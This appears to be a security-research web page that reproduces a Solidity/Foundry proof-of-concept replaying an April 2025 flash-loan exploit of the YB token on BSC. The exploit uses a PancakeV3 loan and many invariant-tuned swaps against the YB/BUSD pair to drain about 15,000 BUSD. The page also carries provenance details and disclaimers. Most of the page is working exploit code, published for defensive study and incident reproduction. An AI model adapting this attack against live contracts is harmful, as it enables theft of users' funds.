Skip to content
THREATWIRE

Public reproduction file

src/test/2025-04/YBToken_exp.sol

Public reproduction file for dataset entry YVToken.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2025-04/YBToken_exp.sol132 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.13;
3
4import "forge-std/Test.sol";
5import "../interface.sol";
6
7// @KeyInfo - Total Lost : 15261.68240413121964707 BUSD
8// Original Attacker : https://bscscan.com/address/0x00000000b7da455fed1553c4639c4b29983d8538
9// Attack Contract(Main) : https://bscscan.com/address/0xbdcd584ec7b767a58ad6a4c732542b026dceaa35
10// Vulnerable Contract : https://bscscan.com/address/0x113F16A3341D32c4a38Ca207Ec6ab109cF63e434
11// Attack Tx : https://bscscan.com/tx/0xe1e7fa81c3761e2698aa83e084f7dd4a1ff907bcfc4a612d54d92175d4e8a28b
12// @POC Author : [rotcivegaf](https://twitter.com/rotcivegaf)
14// Contracts involved
15address constant pancakeV3Pool = 0x36696169C63e42cd08ce11f5deeBbCeBae652050;
16address constant YB_BUSD_LP = 0x38231F8Eb79208192054BE60Cb5965e34668350A;
17address constant BUSD = 0x55d398326f99059fF775485246999027B3197955;
19address constant YB = 0x04227350eDA8Cb8b1cFb84c727906Cb3CcBff547;
21contract YBToken_exp is Test {
22 address attacker = makeAddr("attacker");
24 function setUp() public {
25 vm.createSelectFork("bsc", 48415276 - 1);
26 }
28 function testPoC() public {
29 vm.startPrank(attacker);
31 AttackerC attC = new AttackerC();
33 attC.attack();
35 console2.log("Profit:", IERC20(BUSD).balanceOf(attacker) / 1e18, 'BUSD');
36 }
39contract AttackerC {
40 uint256 loanAmount = 19200000000000000000000; // Magic number
41 uint256 swapLength = 66; // Magic number
43 function attack() external payable {
44 Uni_Pair_V3(pancakeV3Pool).flash(
45 address(this),
46 loanAmount,
47 0,
48 ''
49 );
51 uint256 balBUSD = IERC20(BUSD).balanceOf(address(this));
52 IERC20(BUSD).transfer(msg.sender, balBUSD);
53 }
55 function pancakeV3FlashCallback(
56 uint256 fee0,
57 uint256 fee1,
58 bytes calldata data
59 ) external {
60 for (uint i; i < swapLength; i++) {
61 AttackerCChild child = new AttackerCChild();
62 IERC20(BUSD).transfer(YB_BUSD_LP, loanAmount / swapLength);
64 (uint112 reserve0, uint112 reserve1,) = IPancakePair(YB_BUSD_LP).getReserves();
65 uint256 balance1 = IERC20(BUSD).balanceOf(YB_BUSD_LP);
67 IPancakePair(YB_BUSD_LP).swap(
68 getAmount0ToReachK(balance1, reserve0, reserve1),
69 0,
70 address(child),
71 ''
72 );
74 IERC20(YB).transferFrom(
75 address(child),
76 address(this),
77 IERC20(YB).balanceOf(address(child))
78 );
79 }
81 uint256 balYB = IERC20(YB).balanceOf(address(this));
83 for (uint i; i < swapLength; i++) {
84 IERC20(YB).transfer(YB_BUSD_LP, balYB / swapLength);
86 (uint112 reserve0, uint112 reserve1,) = IPancakePair(YB_BUSD_LP).getReserves();
87 uint256 balance0 = IERC20(YB).balanceOf(YB_BUSD_LP);
89 IPancakePair(YB_BUSD_LP).swap(
90 0,
91 getAmount1ToReachK(balance0, reserve0, reserve1),
92 address(this),
93 ''
94 );
95 }
97 uint256 balBUSD = IERC20(BUSD).balanceOf(address(this));
99 IERC20(BUSD).transfer(pancakeV3Pool, loanAmount + fee0);
100 }
102 function getAmount0ToReachK(
103 uint256 balance1,
104 uint256 reserve0,
105 uint256 reserve1
106 ) internal pure returns(uint256 amount0Out) {
107 uint256 K = reserve0 * reserve1 * 10000**2;
108 uint256 step1 = balance1 * 10000 - (balance1 - reserve1) * 25;
109 uint256 step2 = K / step1 / 10000;
111 amount0Out = reserve0 - step2 - 1;
112 }
114 function getAmount1ToReachK(
115 uint256 balance0,
116 uint256 reserve0,
117 uint256 reserve1
118 ) internal pure returns(uint256 amount1Out) {
119 uint256 K = reserve1 * reserve0 * 10000**2;
121 uint256 step1 = balance0 * 10000 - (balance0 - reserve0) * 25;
122 uint256 step2 = K / step1 / 10000;
124 amount1Out = reserve1 - step2 - 1;
125 }
128contract AttackerCChild {
129 constructor () {
130 IERC20(YB).approve(msg.sender, type(uint256).max);
131 }

Analysis

Dataset entry

Public Foundry test for “YVToken” (2025-04-16). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

14 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Also imports external libraries: forge-std/Test.sol.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attack Contract

    0xbdcd584ec7b767a58ad6a4c732542b026dceaa35

  • Vulnerable Contract

    0x113f16a3341d32c4a38ca207ec6ab109cf63e434

  • Attack Tx

    0xe1e7fa81c3761e2698aa83e084f7dd4a1ff907bcfc4a612d54d92175d4e8a28b

File record

Name
YVToken
Path
src/test/2025-04/YBToken_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
ed78445616fa54d8b7b168bb12f97f82df22c811
Language
Solidity
Size
132 lines
Date
2025-04-16
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2025-04/YBToken_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob ed78445616fa54d8b7b168bb12f97f82df22c811, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.